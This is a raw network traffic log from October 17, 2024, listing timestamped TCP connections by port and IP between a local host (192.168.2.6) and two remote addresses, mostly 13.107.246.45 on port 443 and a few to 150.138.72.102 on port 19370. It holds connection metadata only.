Oct 17, 2024 18:19:09.880805969 CEST	443	51921	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:09.880819082 CEST	51921	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:09.880825043 CEST	443	51921	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:09.882085085 CEST	443	51922	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:09.882163048 CEST	443	51922	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:09.882942915 CEST	51922	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:09.885552883 CEST	51986	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:09.885591030 CEST	443	51986	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:09.885678053 CEST	51986	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:09.891797066 CEST	51922	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:09.891808987 CEST	443	51922	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:09.891849995 CEST	51922	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:09.891855001 CEST	443	51922	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:09.894121885 CEST	51986	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:09.894141912 CEST	443	51986	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:09.901931047 CEST	51987	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:09.901961088 CEST	443	51987	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:09.902172089 CEST	51987	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:09.906491041 CEST	51987	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:09.906512022 CEST	443	51987	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:10.130371094 CEST	443	51944	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:10.140687943 CEST	51944	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:10.140716076 CEST	443	51944	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:10.141274929 CEST	51944	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:10.141282082 CEST	443	51944	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:10.293212891 CEST	443	51943	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:10.348146915 CEST	51943	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:10.348187923 CEST	443	51943	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:10.348602057 CEST	51943	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:10.348608017 CEST	443	51943	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:10.482714891 CEST	443	51943	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:10.482892036 CEST	443	51943	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:10.482955933 CEST	51943	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:10.500885963 CEST	51943	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:10.500915051 CEST	443	51943	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:10.539426088 CEST	52065	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:10.539478064 CEST	443	52065	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:10.539577007 CEST	52065	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:10.553988934 CEST	52065	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:10.554023981 CEST	443	52065	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:10.669521093 CEST	443	51944	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:10.669588089 CEST	443	51944	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:10.669646025 CEST	51944	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:10.674813032 CEST	443	51986	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:10.676661968 CEST	443	51987	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:10.711201906 CEST	51944	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:10.711201906 CEST	51944	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:10.711235046 CEST	443	51944	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:10.711249113 CEST	443	51944	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:10.713644981 CEST	51986	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:10.713668108 CEST	443	51986	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:10.714174032 CEST	51986	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:10.714185953 CEST	443	51986	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:10.720225096 CEST	51987	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:10.720257044 CEST	443	51987	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:10.720860958 CEST	51987	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:10.720873117 CEST	443	51987	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:10.742857933 CEST	52082	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:10.742965937 CEST	443	52082	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:10.743176937 CEST	52082	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:10.759589911 CEST	52082	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:10.759627104 CEST	443	52082	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:10.840395927 CEST	443	51986	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:10.840807915 CEST	443	51986	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:10.840858936 CEST	51986	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:10.849597931 CEST	443	51987	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:10.849863052 CEST	443	51987	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:10.849912882 CEST	51987	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:10.874217033 CEST	51986	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:10.874243975 CEST	443	51986	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:10.874430895 CEST	51986	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:10.874442101 CEST	443	51986	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:10.884457111 CEST	51987	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:10.884485960 CEST	443	51987	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:10.884497881 CEST	51987	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:10.884505987 CEST	443	51987	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:10.907355070 CEST	52090	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:10.907406092 CEST	443	52090	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:10.908122063 CEST	52090	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:10.912022114 CEST	52091	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:10.912071943 CEST	443	52091	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:10.912131071 CEST	52091	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:10.912408113 CEST	52090	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:10.912432909 CEST	443	52090	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:10.923868895 CEST	52091	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:10.923892021 CEST	443	52091	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:11.339196920 CEST	443	52065	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:11.352834940 CEST	52065	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:11.352849960 CEST	443	52065	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:11.353275061 CEST	52065	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:11.353281975 CEST	443	52065	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:11.489999056 CEST	443	52065	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:11.490464926 CEST	443	52065	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:11.490520954 CEST	52065	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:11.502437115 CEST	52065	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:11.502455950 CEST	443	52065	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:11.502466917 CEST	52065	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:11.502471924 CEST	443	52065	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:11.520252943 CEST	443	52082	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:11.529880047 CEST	52115	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:11.529923916 CEST	443	52115	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:11.529985905 CEST	52115	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:11.532042027 CEST	52082	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:11.532075882 CEST	443	52082	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:11.532941103 CEST	52082	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:11.532953978 CEST	443	52082	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:11.539222002 CEST	52115	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:11.539232969 CEST	443	52115	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:11.657622099 CEST	443	52082	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:11.658077955 CEST	443	52082	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:11.658247948 CEST	52082	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:11.658355951 CEST	52082	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:11.658384085 CEST	443	52082	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:11.658400059 CEST	52082	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:11.658409119 CEST	443	52082	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:11.673676968 CEST	443	52091	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:11.676624060 CEST	443	52090	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:11.687344074 CEST	52091	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:11.687381983 CEST	443	52091	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:11.688251972 CEST	52091	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:11.688263893 CEST	443	52091	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:11.688775063 CEST	52090	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:11.688801050 CEST	443	52090	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:11.689554930 CEST	52090	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:11.689560890 CEST	443	52090	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:11.691500902 CEST	52124	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:11.691539049 CEST	443	52124	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:11.691601992 CEST	52124	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:11.691730022 CEST	52124	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:11.691741943 CEST	443	52124	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:11.813076019 CEST	443	52091	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:11.813394070 CEST	443	52091	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:11.813446999 CEST	443	52091	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:11.813502073 CEST	52091	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:11.831906080 CEST	52091	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:11.831952095 CEST	443	52091	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:11.831979990 CEST	52091	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:11.831989050 CEST	443	52091	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:11.833060980 CEST	443	52090	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:11.833132029 CEST	443	52090	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:11.833414078 CEST	52090	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:11.844067097 CEST	52090	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:11.844084978 CEST	443	52090	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:11.852878094 CEST	52133	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:11.852907896 CEST	443	52133	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:11.852979898 CEST	52133	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:11.854960918 CEST	52133	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:11.854979038 CEST	443	52133	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:11.857530117 CEST	52134	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:11.857552052 CEST	443	52134	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:11.857630014 CEST	52134	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:11.857742071 CEST	52134	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:11.857765913 CEST	443	52134	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:12.183278084 CEST	52142	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:12.190541983 CEST	19370	52142	150.138.72.102	192.168.2.6
Oct 17, 2024 18:19:12.190612078 CEST	52142	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:12.191252947 CEST	52142	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:12.198528051 CEST	19370	52142	150.138.72.102	192.168.2.6
Oct 17, 2024 18:19:12.203695059 CEST	52142	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:12.210439920 CEST	19370	52142	150.138.72.102	192.168.2.6
Oct 17, 2024 18:19:12.294156075 CEST	443	52115	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:12.318612099 CEST	52115	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:12.318644047 CEST	443	52115	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:12.319047928 CEST	52115	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:12.319053888 CEST	443	52115	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:12.321358919 CEST	52142	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:12.326379061 CEST	19370	52142	150.138.72.102	192.168.2.6
Oct 17, 2024 18:19:12.429609060 CEST	443	52124	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:12.452846050 CEST	443	52115	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:12.453233957 CEST	443	52115	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:12.453301907 CEST	52115	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:12.467639923 CEST	52142	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:12.468836069 CEST	52124	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:12.468863964 CEST	443	52124	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:12.469643116 CEST	52124	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:12.469652891 CEST	443	52124	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:12.472898006 CEST	19370	52142	150.138.72.102	192.168.2.6
Oct 17, 2024 18:19:12.475069046 CEST	52115	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:12.475100040 CEST	443	52115	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:12.475126028 CEST	52115	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:12.475132942 CEST	443	52115	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:12.478624105 CEST	52153	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:12.478647947 CEST	443	52153	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:12.478904963 CEST	52153	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:12.479055882 CEST	52153	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:12.479064941 CEST	443	52153	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:12.569731951 CEST	52142	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:12.574702978 CEST	19370	52142	150.138.72.102	192.168.2.6
Oct 17, 2024 18:19:12.602475882 CEST	443	52124	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:12.602509975 CEST	443	52124	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:12.602579117 CEST	443	52124	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:12.602598906 CEST	52124	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:12.602648973 CEST	52124	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:12.608222008 CEST	443	52133	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:12.611269951 CEST	52124	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:12.611269951 CEST	52124	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:12.611296892 CEST	443	52124	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:12.611310005 CEST	443	52124	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:12.613001108 CEST	52133	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:12.613040924 CEST	443	52133	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:12.613451958 CEST	52133	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:12.613457918 CEST	443	52133	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:12.617521048 CEST	443	52134	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:12.628036022 CEST	52134	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:12.628062010 CEST	443	52134	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:12.628468990 CEST	52134	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:12.628474951 CEST	443	52134	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:12.645142078 CEST	52160	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:12.645205021 CEST	443	52160	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:12.645320892 CEST	52160	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:12.645678043 CEST	52160	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:12.645692110 CEST	443	52160	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:12.668287039 CEST	52142	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:12.673264027 CEST	19370	52142	150.138.72.102	192.168.2.6
Oct 17, 2024 18:19:12.764381886 CEST	443	52134	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:12.764417887 CEST	443	52134	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:12.764468908 CEST	52134	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:12.764489889 CEST	443	52134	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:12.764507055 CEST	443	52134	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:12.764544964 CEST	52134	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:12.776207924 CEST	52134	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:12.776235104 CEST	443	52134	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:12.776248932 CEST	52134	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:12.776254892 CEST	443	52134	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:12.780158043 CEST	52142	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:12.790014029 CEST	19370	52142	150.138.72.102	192.168.2.6
Oct 17, 2024 18:19:12.791769028 CEST	52161	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:12.791815042 CEST	443	52161	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:12.791909933 CEST	52161	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:12.800972939 CEST	52161	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:12.801003933 CEST	443	52161	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:12.918142080 CEST	52142	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:13.047687054 CEST	19370	52142	150.138.72.102	192.168.2.6
Oct 17, 2024 18:19:13.047724962 CEST	443	52133	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:13.047770023 CEST	52142	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:13.047800064 CEST	443	52133	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:13.047854900 CEST	52133	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:13.048022985 CEST	19370	52142	150.138.72.102	192.168.2.6
Oct 17, 2024 18:19:13.058749914 CEST	19370	52142	150.138.72.102	192.168.2.6
Oct 17, 2024 18:19:13.071482897 CEST	52133	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:13.071505070 CEST	443	52133	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:13.071542978 CEST	52133	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:13.071551085 CEST	443	52133	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:13.086782932 CEST	52172	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:13.086831093 CEST	443	52172	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:13.087126970 CEST	52172	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:13.098129988 CEST	52172	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:13.098153114 CEST	443	52172	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:13.255701065 CEST	443	52153	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:13.272532940 CEST	52153	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:13.272562027 CEST	443	52153	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:13.273123980 CEST	52153	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:13.273129940 CEST	443	52153	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:13.415035963 CEST	443	52153	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:13.415256977 CEST	443	52153	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:13.415318966 CEST	52153	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:13.421312094 CEST	52153	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:13.421334982 CEST	443	52153	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:13.421358109 CEST	52153	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:13.421365976 CEST	443	52153	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:13.422929049 CEST	443	52160	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:13.431931019 CEST	52160	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:13.431968927 CEST	443	52160	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:13.432496071 CEST	52160	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:13.432512999 CEST	443	52160	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:13.503124952 CEST	52184	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:13.503164053 CEST	443	52184	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:13.503407001 CEST	52184	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:13.510334969 CEST	52184	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:13.510355949 CEST	443	52184	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:13.568487883 CEST	443	52160	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:13.568559885 CEST	443	52160	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:13.568638086 CEST	52160	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:13.594748020 CEST	52160	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:13.594796896 CEST	443	52160	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:13.594890118 CEST	52160	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:13.594907999 CEST	443	52160	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:13.617690086 CEST	52187	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:13.617737055 CEST	443	52187	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:13.617918968 CEST	52187	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:13.625454903 CEST	52187	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:13.625477076 CEST	443	52187	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:13.814307928 CEST	443	52161	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:13.824856043 CEST	52161	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:13.824891090 CEST	443	52161	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:13.825483084 CEST	52161	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:13.825490952 CEST	443	52161	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:13.861131907 CEST	443	52172	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:13.866173983 CEST	52172	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:13.866193056 CEST	443	52172	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:13.866674900 CEST	52172	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:13.866679907 CEST	443	52172	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:13.959630966 CEST	443	52161	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:13.959786892 CEST	443	52161	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:13.959973097 CEST	52161	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:13.975182056 CEST	52161	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:13.975182056 CEST	52161	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:13.975207090 CEST	443	52161	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:13.975213051 CEST	443	52161	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:13.989445925 CEST	52200	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:13.989476919 CEST	443	52200	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:13.989562035 CEST	52200	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:13.992854118 CEST	52200	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:13.992865086 CEST	443	52200	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:13.997776985 CEST	443	52172	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:13.999701977 CEST	443	52172	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:13.999764919 CEST	52172	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:13.999773026 CEST	443	52172	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:13.999824047 CEST	52172	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:13.999881029 CEST	52172	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:13.999897003 CEST	443	52172	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:13.999907017 CEST	52172	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:13.999912977 CEST	443	52172	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:14.019211054 CEST	52201	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:14.019294977 CEST	443	52201	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:14.019427061 CEST	52201	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:14.022278070 CEST	52201	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:14.022308111 CEST	443	52201	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:14.302143097 CEST	443	52184	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:14.324150085 CEST	52184	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:14.324168921 CEST	443	52184	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:14.324733973 CEST	52184	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:14.324739933 CEST	443	52184	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:14.386784077 CEST	443	52187	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:14.396406889 CEST	52187	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:14.396440029 CEST	443	52187	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:14.396878004 CEST	52187	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:14.396883965 CEST	443	52187	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:14.451782942 CEST	443	52184	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:14.452032089 CEST	443	52184	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:14.452092886 CEST	52184	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:14.454303026 CEST	52184	443	192.168.2.6	13.107.246.45
